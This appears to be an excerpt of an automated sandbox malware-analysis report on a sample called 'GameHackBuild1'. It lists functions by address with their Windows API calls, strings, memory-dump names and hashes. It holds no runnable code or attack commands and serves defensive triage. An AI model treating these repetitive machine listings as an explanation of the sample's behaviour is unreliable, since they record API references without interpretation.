Opcode Fuzzy Hash: 2a1fa674a91dec0e90ab77e960eb6c88f086224da595ada29479323f03532090
Instruction Fuzzy Hash: 52A001A62BD102BC7108B252AE26DBB026DD8C5BA17348E1AB50A98089A994598A5831

Function 00A1DAC0 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1DAB2

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: bdfcdbc073796fed75db332c21837a017d011e7d4e27753df4922e9a7f76e74b
Instruction ID: 8d6167476a1d5a39d9ee78aa28ec44e94439a26bac86ea28140546c7f4620826
Opcode Fuzzy Hash: bdfcdbc073796fed75db332c21837a017d011e7d4e27753df4922e9a7f76e74b
Instruction Fuzzy Hash: 52A001A62BD102BC7108B252AE26DBB026DD8C5BA17348E1AB50A98089A994598A5831

Function 00A1DACA Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1DAB2

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: bcd862ecd31eaa7c7f27eb66b3b7a1eda9f10a4f57c626ebfcbd7742aae180e3
Instruction ID: 8d6167476a1d5a39d9ee78aa28ec44e94439a26bac86ea28140546c7f4620826
Opcode Fuzzy Hash: bcd862ecd31eaa7c7f27eb66b3b7a1eda9f10a4f57c626ebfcbd7742aae180e3
Instruction Fuzzy Hash: 52A001A62BD102BC7108B252AE26DBB026DD8C5BA17348E1AB50A98089A994598A5831

Function 00A1DBF7 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1DBD5

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a8ecbd385f85527cab6df1569f680b420e7089925648e5b826804cdebe7fabc2
Instruction ID: 0ca0965ee7124b72badc543def3459e70e8b6616ab6aa40c85a4ec7f589d30c5
Opcode Fuzzy Hash: a8ecbd385f85527cab6df1569f680b420e7089925648e5b826804cdebe7fabc2
Instruction Fuzzy Hash: 49A001AA2BD106BC710862596E1BDFA022DE4C5BA17318D1AB60B94081AA905D8A5431

Function 00A1DC0B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1DBD5

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: cc59e51ff3eba28372a68b9c69b45577b710fce505498b44802b8519685986d2
Instruction ID: 0ca0965ee7124b72badc543def3459e70e8b6616ab6aa40c85a4ec7f589d30c5
Opcode Fuzzy Hash: cc59e51ff3eba28372a68b9c69b45577b710fce505498b44802b8519685986d2
Instruction Fuzzy Hash: 49A001AA2BD106BC710862596E1BDFA022DE4C5BA17318D1AB60B94081AA905D8A5431

Function 00A1DC15 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1DBD5

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: cfdd506c85ab079e3a13108a9bf3dbf87f974567f4ca9b29eddf0316e3290390
Instruction ID: 0ca0965ee7124b72badc543def3459e70e8b6616ab6aa40c85a4ec7f589d30c5
Opcode Fuzzy Hash: cfdd506c85ab079e3a13108a9bf3dbf87f974567f4ca9b29eddf0316e3290390
Instruction Fuzzy Hash: 49A001AA2BD106BC710862596E1BDFA022DE4C5BA17318D1AB60B94081AA905D8A5431

Function 00A1DC1F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1DBD5

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: aa7ee4b3cf7b22c8a7653c82594dc2c5d4fd62f2f8ab11dc0ec7cee324fecbd0
Instruction ID: 0ca0965ee7124b72badc543def3459e70e8b6616ab6aa40c85a4ec7f589d30c5
Opcode Fuzzy Hash: aa7ee4b3cf7b22c8a7653c82594dc2c5d4fd62f2f8ab11dc0ec7cee324fecbd0
Instruction Fuzzy Hash: 49A001AA2BD106BC710862596E1BDFA022DE4C5BA17318D1AB60B94081AA905D8A5431

Function 00A1DC44 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1DC36

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6aafb6ed28c9f59b2222bcdb55c810579ad1a8472d93531df599c7bb96f29f40
Instruction ID: 5c4fd7f4a66127c6f3210b5feca7babde4cdf4f818420542d52662db57a841cc
Opcode Fuzzy Hash: 6aafb6ed28c9f59b2222bcdb55c810579ad1a8472d93531df599c7bb96f29f40
Instruction Fuzzy Hash: 87A001BA6BD202BCB14C62656E16EBA022DD4C5B617308D1AB60AA4091AA806D8A9871

Function 00A1DC4E Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1DC36

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b89c3f219f9e99434245f81c4582d2e8252e2494e3d3c62131f0452bd08c9f59
Instruction ID: 5c4fd7f4a66127c6f3210b5feca7babde4cdf4f818420542d52662db57a841cc
Opcode Fuzzy Hash: b89c3f219f9e99434245f81c4582d2e8252e2494e3d3c62131f0452bd08c9f59
Instruction Fuzzy Hash: 87A001BA6BD202BCB14C62656E16EBA022DD4C5B617308D1AB60AA4091AA806D8A9871

Function 00A09EBF Relevance: 1.5, APIs: 1, Instructions: 7fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNELBASE(?,00A09104,?,?,-00001964), ref: 00A09EC2

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: a62a02537bdd2b6e53cc6e17889d8906716a05797fff6d079f55e7e861df4207
Instruction ID: d6ee877380d48f1b8e5521ee376731b6c1b1e314a6c0465af932c4cc35db8bea
Opcode Fuzzy Hash: a62a02537bdd2b6e53cc6e17889d8906716a05797fff6d079f55e7e861df4207
Instruction Fuzzy Hash: 96B011320AA00A8A8E002B30CE088283A20EA2230A30082A0B002CA0A0CB22C003AA00

Function 00A1A322 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE(?,00A1A587,C:\Users\user\Desktop,00000000,00A4946A,00000006), ref: 00A1A326

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 296fcf20f9a0f02a345ab7693a16727f0fbdd7bc27f510b06d1457c934804ac5
Instruction ID: 457fe42abedc1826c9b0e7db48abce9c018f49138294111c1656f534ea56a2c5
Opcode Fuzzy Hash: 296fcf20f9a0f02a345ab7693a16727f0fbdd7bc27f510b06d1457c934804ac5
Instruction Fuzzy Hash: 2AA01231198006568E004B30CC09C1576505760703F0087207002C00A0CB308814A500

Function 00A096D0 Relevance: 1.3, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(000000FF,?,?,00A0968F,?,?,?,?,00A31FA1,000000FF), ref: 00A096EB

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 3fc09bd321222fcf2b4ca95bad54087eddac1e80eb7b56a0c19bdb17f11bc376
Instruction ID: a063fbbf4c725db6c6782e4d04ba4dc2931844f80f3a0fae426a300222f6d049
Opcode Fuzzy Hash: 3fc09bd321222fcf2b4ca95bad54087eddac1e80eb7b56a0c19bdb17f11bc376
Instruction Fuzzy Hash: 41F05E31556B188FDB308B24EAA8793B7E49B12725F048B1E91EB434E1A766685D9B00

Non-executed Functions

Function 00A1B8E0 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 286timewindowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A0130B: GetDlgItem.USER32(00000000,00003021), ref: 00A0134F
Part of subcall function 00A0130B: SetWindowTextW.USER32(00000000,00A335B4), ref: 00A01365

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 00A1B971
EndDialog.USER32(?,00000006), ref: 00A1B984
GetDlgItem.USER32(?,0000006C), ref: 00A1B9A0
SetFocus.USER32(00000000), ref: 00A1B9A7
SetDlgItemTextW.USER32(?,00000065,?), ref: 00A1B9E1
SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 00A1BA18
FindFirstFileW.KERNEL32(?,?), ref: 00A1BA2E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00A1BA4C
FileTimeToSystemTime.KERNEL32(?,?), ref: 00A1BA5C
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 00A1BA78
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00A1BA94
_swprintf.LIBCMT ref: 00A1BAC4

Part of subcall function 00A0400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00A0401D

SetDlgItemTextW.USER32(?,0000006A,?), ref: 00A1BAD7
FindClose.KERNEL32(00000000), ref: 00A1BADE
_swprintf.LIBCMT ref: 00A1BB37
SetDlgItemTextW.USER32(?,00000068,?), ref: 00A1BB4A
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 00A1BB67
FileTimeToLocalFileTime.KERNEL32(?,?,?), ref: 00A1BB87
FileTimeToSystemTime.KERNEL32(?,?), ref: 00A1BB97
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 00A1BBB1
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00A1BBC9
_swprintf.LIBCMT ref: 00A1BBF5
SetDlgItemTextW.USER32(?,0000006B,?), ref: 00A1BC08
_swprintf.LIBCMT ref: 00A1BC5C
SetDlgItemTextW.USER32(?,00000069,?), ref: 00A1BC6F

Part of subcall function 00A1A63C: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00A1A662
Part of subcall function 00A1A63C: GetNumberFormatW.KERNEL32(00000400,00000000,?,00A3E600,?,?), ref: 00A1A6B1

Strings

%s %s, xrefs: 00A1BB29, 00A1BC4E
%s %s %s, xrefs: 00A1BAB2, 00A1BBE7
REPLACEFILEDLG, xrefs: 00A1B907

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: ItemTime$File$Text$Format$_swprintf$MessageSend$DateFindLocalSystem$CloseDialogFirstFocusInfoLocaleNumberWindow__vswprintf_c_l
String ID: %s %s$%s %s %s$REPLACEFILEDLG
API String ID: 797121971-1840816070
Opcode ID: 68c1d419ab0c5d74d3964e4f000b56808e56e3cae66c27254c88e634790bfb9e
Instruction ID: 7637831d1236428b5ccb6b0e1dd8ea1b2f9cc15fe4c46a1d4271bbe226743ede
Opcode Fuzzy Hash: 68c1d419ab0c5d74d3964e4f000b56808e56e3cae66c27254c88e634790bfb9e
Instruction Fuzzy Hash: 1B9183B2248348BFD621DBA0DD49FFBB7ACEB4A700F040919F749D2091D775AA468772

Function 00A0718C Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 296fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A07191
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000080,00000000,?,00000001), ref: 00A072F1
CloseHandle.KERNEL32(00000000), ref: 00A07301

Part of subcall function 00A07BF5: GetCurrentProcess.KERNEL32(00000020,?), ref: 00A07C04
Part of subcall function 00A07BF5: GetLastError.KERNEL32 ref: 00A07C4A
Part of subcall function 00A07BF5: CloseHandle.KERNEL32(?), ref: 00A07C59

CreateDirectoryW.KERNEL32(?,00000000,?,00000001), ref: 00A0730C
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 00A0741A
DeviceIoControl.KERNEL32(00000000,000900A4,?,-00000008,00000000,00000000,?,00000000), ref: 00A07446
CloseHandle.KERNEL32(?), ref: 00A07457
GetLastError.KERNEL32(00000015,00000000,?), ref: 00A07467
RemoveDirectoryW.KERNEL32(?), ref: 00A074B3
DeleteFileW.KERNEL32(?), ref: 00A074DB

Strings

\??\, xrefs: 00A07217
SeRestorePrivilege, xrefs: 00A071B2
SeCreateSymbolicLinkPrivilege, xrefs: 00A071BC
UNC\, xrefs: 00A0723C

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: CloseCreateFileHandle$DirectoryErrorLast$ControlCurrentDeleteDeviceH_prologProcessRemove
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3935142422-3508440684
Opcode ID: bef014f852d816c2fc4f53c1c96ff3ad0990e84302f09b587087299d7b439ca2
Instruction ID: 021130c5038ce9c86d52122fb47ccea401014aa02a3aad16f5c173c44684cc1b
Opcode Fuzzy Hash: bef014f852d816c2fc4f53c1c96ff3ad0990e84302f09b587087299d7b439ca2
Instruction Fuzzy Hash: D4B1C171D04219ABDF21DFA4ED41BEE77B8BF05300F044569F949E7182D734AA49CBA1

Function 00A03281 Relevance: 12.9, APIs: 4, Strings: 3, Instructions: 608COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A0328A
_memcmp.LIBVCRUNTIME ref: 00A03377

Strings

h%u, xrefs: 00A0362D
CMT, xrefs: 00A03990
hc%u, xrefs: 00A0367B

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: H_prolog_memcmp
String ID: CMT$h%u$hc%u
API String ID: 3004599000-3282847064
Opcode ID: 70fdb24d409216fa195508dd09240e951f437f84fbe93be68d26ff81fc722679
Instruction ID: ddbc1a239609da6cfae4bd7baed77e9eee298030ab50a015c4b5615d8832ed86
Opcode Fuzzy Hash: 70fdb24d409216fa195508dd09240e951f437f84fbe93be68d26ff81fc722679
Instruction Fuzzy Hash: 1632B6726103889FDF14DF74D995AEA37A9AF54300F04457EFD8A8B2C2DB71A948CB60

Function 00A2D00E Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00A2D154

Strings

1#SNAN, xrefs: 00A2E353
1#IND, xrefs: 00A2E34C
1#INF, xrefs: 00A2E361
1#QNAN, xrefs: 00A2E35A

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 79f545f786a2b9c6cd2de2086d2af4b451510f551c832ad566016aec0ef8493f
Instruction ID: a79e11e2c4505f81f21e8b6f83d53e002f23b339fad76ee5ac9c835bfa0b08d4
Opcode Fuzzy Hash: 79f545f786a2b9c6cd2de2086d2af4b451510f551c832ad566016aec0ef8493f
Instruction Fuzzy Hash: 66C22A72E086288FDB25CF28ED407EAB7B5EB44315F1545EAD84EE7241E774AE818F40

